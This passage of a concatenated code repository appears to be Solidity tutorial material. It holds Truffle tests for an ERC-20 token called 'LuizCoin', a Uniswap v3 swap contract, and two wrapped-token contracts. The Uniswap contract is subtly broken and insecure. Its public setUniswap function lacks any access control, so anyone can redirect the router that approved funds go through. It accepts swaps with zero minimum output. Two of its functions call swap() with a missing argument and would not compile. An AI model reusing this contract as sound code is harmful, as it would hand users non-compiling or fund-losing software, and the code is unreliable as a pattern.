11 | 12 | it("Should put total supply LuizCoin in the admin account", async () => { 13 | const balance = await contract.balanceOf(accounts[0]); 14 | const totalSupply = new BN(1000).mul(new BN(10).pow(DECIMALS)); 15 | assert(balance.eq(totalSupply), "Total supply wasn't in the first account"); 16 | }); 17 | 18 | it("Should has the correct name", async () => { 19 | const name = await contract.name(); 20 | assert(name === "LuizCoin", "The name is wrong"); 21 | }); 22 | 23 | it("Should has the correct symbol", async () => { 24 | const symbol = await contract.symbol(); 25 | assert(symbol === "LUC", "The symbol is wrong"); 26 | }); 27 | 28 | it("Should has the correct decimals", async () => { 29 | const decimals = await contract.decimals(); 30 | assert(decimals.eq(DECIMALS), "The decimals are wrong"); 31 | }); 32 | 33 | it("Should transfer", async () => { 34 | const qty = new BN(1).mul(new BN(10).pow(DECIMALS)); 35 | 36 | const balanceAdminBefore = await contract.balanceOf(accounts[0]); 37 | const balanceToBefore = await contract.balanceOf(accounts[1]); 38 | 39 | await contract.transfer(accounts[1], qty); 40 | 41 | const balanceAdminNow = await contract.balanceOf(accounts[0]); 42 | const balanceToNow = await contract.balanceOf(accounts[1]); 43 | 44 | assert(balanceAdminNow.eq(balanceAdminBefore.sub(qty)), "The admin balance is wrong"); 45 | assert(balanceToNow.eq(balanceToBefore.add(qty)), "The to balance is wrong"); 46 | }); 47 | 48 | it("Should NOT transfer", async () => { 49 | const aboveSupply = new BN(1001).mul(new BN(10).pow(DECIMALS)); 50 | 51 | try { 52 | await contract.transfer(accounts[1], aboveSupply); 53 | assert.fail("The transfer should have thrown an error"); 54 | } 55 | catch (err) { 56 | assert.include(err.message, "revert", "The error message should contain 'revert'"); 57 | } 58 | }); 59 | 60 | it("Should approve", async () => { 61 | const qty = new BN(1).mul(new BN(10).pow(DECIMALS)); 62 | 63 | await contract.approve(accounts[1], qty); 64 | const allowedAmount = await contract.allowance(accounts[0], accounts[1]); 65 | 66 | assert(qty.eq(allowedAmount), "The allowed amount is wrong");`` 67 | }); 68 | 69 | it("Should transfer from", async () => { 70 | const qty = new BN(1).mul(new BN(10).pow(DECIMALS)); 71 | 72 | const allowanceBefore = await contract.allowance(accounts[0], accounts[1]); 73 | const balanceAdminBefore = await contract.balanceOf(accounts[0]); 74 | const balanceToBefore = await contract.balanceOf(accounts[1]); 75 | 76 | await contract.approve(accounts[1], qty); 77 | await contract.transferFrom(accounts[0], accounts[1], qty, { from: accounts[1] }); 78 | 79 | const allowanceNow = await contract.allowance(accounts[0], accounts[1]); 80 | const balanceAdminNow = await contract.balanceOf(accounts[0]); 81 | const balanceToNow = await contract.balanceOf(accounts[1]); 82 | 83 | assert(allowanceBefore.eq(allowanceNow), "The allowance is wrong"); 84 | assert(balanceAdminNow.eq(balanceAdminBefore.sub(qty)), "The admin balance is wrong"); 85 | assert(balanceToNow.eq(balanceToBefore.add(qty)), "The to balance is wrong"); 86 | }); 87 | 88 | it("Should NOT transfer from", async () => { 89 | const qty = new BN(1).mul(new BN(10).pow(DECIMALS)); 90 | 91 | try { 92 | await contract.transferFrom(accounts[0], accounts[1], qty); 93 | assert.fail("The transferFrom should have thrown an error"); 94 | } 95 | catch (err) { 96 | assert.include(err.message, "revert", "The error message should contain 'revert'"); 97 | } 98 | }); 99 | 100 | }); 101 | -------------------------------------------------------------------------------- /token-erc20-truffle/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { }, 3 | compilers: { 4 | solc: { 5 | version: "0.8.17", 6 | settings: { 7 | optimizer: { 8 | enabled: true, // Default: false 9 | runs: 200 // Default: 200 10 | }, 11 | } 12 | } 13 | } 14 | }; 15 | -------------------------------------------------------------------------------- /uniswap-integration/README.md: -------------------------------------------------------------------------------- 1 | # uniswap-integration 2 | 3 | A simple Uniswap v3 integration example written in Solidity based on official documentation. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/integracao-de-smart-contract-com-uniswap/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /uniswap-integration/UniswapIntegration.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.18; 3 | 4 | import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol"; 5 | import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol"; 6 | 7 | contract UniswapIntegration { 8 | ISwapRouter public uniswap; 9 | 10 | address public constant WMATIC = 0x9c3C9283D3e44854697Cd22D3Faa240Cfb032889; 11 | address public constant WETH = 0xA6FA4fB5f76172d178d61B04b0ecd319C5d1C0aa; 12 | 13 | uint24 public constant poolFee = 3000; 14 | 15 | constructor(){ 16 | uniswap = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); 17 | } 18 | 19 | function setUniswap(address _uniswap) public { 20 | uniswap = ISwapRouter(_uniswap); 21 | } 22 | 23 | function swap(address tokenIn, address tokenOut, uint amountIn) public returns(uint amountOut) { 24 | TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn); 25 | 26 | TransferHelper.safeApprove(tokenIn, address(uniswap), amountIn); 27 | 28 | ISwapRouter.ExactInputSingleParams memory params = 29 | ISwapRouter.ExactInputSingleParams({ 30 | tokenIn: tokenIn, 31 | tokenOut: tokenOut, 32 | fee: poolFee, 33 | recipient: msg.sender, 34 | deadline: block.timestamp, 35 | amountIn: amountIn, 36 | amountOutMinimum: 0, 37 | sqrtPriceLimitX96: 0 38 | }); 39 | 40 | amountOut = uniswap.exactInputSingle(params); 41 | } 42 | 43 | function swapMaticToEth(uint amountIn) external returns(uint amountOut) { 44 | amountOut = swap(WMATIC, WETH); 45 | } 46 | 47 | function swapEthToMatic(uint amountIn) external returns(uint amountOut) { 48 | amountOut = swap(WETH, WMATIC); 49 | } 50 | 51 | } -------------------------------------------------------------------------------- /wrapped-token-remix/README.md: -------------------------------------------------------------------------------- 1 | # wrapped-token-remix 2 | 3 | Two simple Wrapped Token implementations in Solidity based on ERC-20 spec and OpenZeppelin contracts. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/como-criar-um-wrapped-token-em-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /wrapped-token-remix/WrappedEther.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 7 | 8 | contract WrappedEther is ERC20, ERC20Burnable { 9 | 10 | constructor() ERC20("Wrapped Ether", "WETH") {} 11 | 12 | function deposit() external payable { 13 | _mint(msg.sender, msg.value); 14 | } 15 | 16 | function withdraw(uint amount) external { 17 | require(balanceOf(msg.sender) >= amount, "Insufficient balance"); 18 | _burn(msg.sender, amount); 19 | payable(msg.sender).transfer(amount); 20 | } 21 | 22 | } -------------------------------------------------------------------------------- /wrapped-token-remix/WrappedToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 7 | import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 8 | 9 | contract WrappedToken is ERC20, ERC20Burnable { 10 | IERC20 public immutable token; 11 | 12 | constructor(address tokenAddress) ERC20("Wrapped Token", "WTKN") { 13 | token = IERC20(tokenAddress); 14 | } 15 | 16 | function deposit(uint amount) external { 17 | token.transferFrom(msg.sender, address(this), amount); 18 | _mint(msg.sender, amount); 19 | } 20 | 21 | function withdraw(uint amount) external { 22 | require(balanceOf(msg.sender) >= amount, "Insufficient balance"); 23 | _burn(msg.sender, amount); 24 | token.transfer(msg.sender, amount); 25 | } 26 | } --------------------------------------------------------------------------------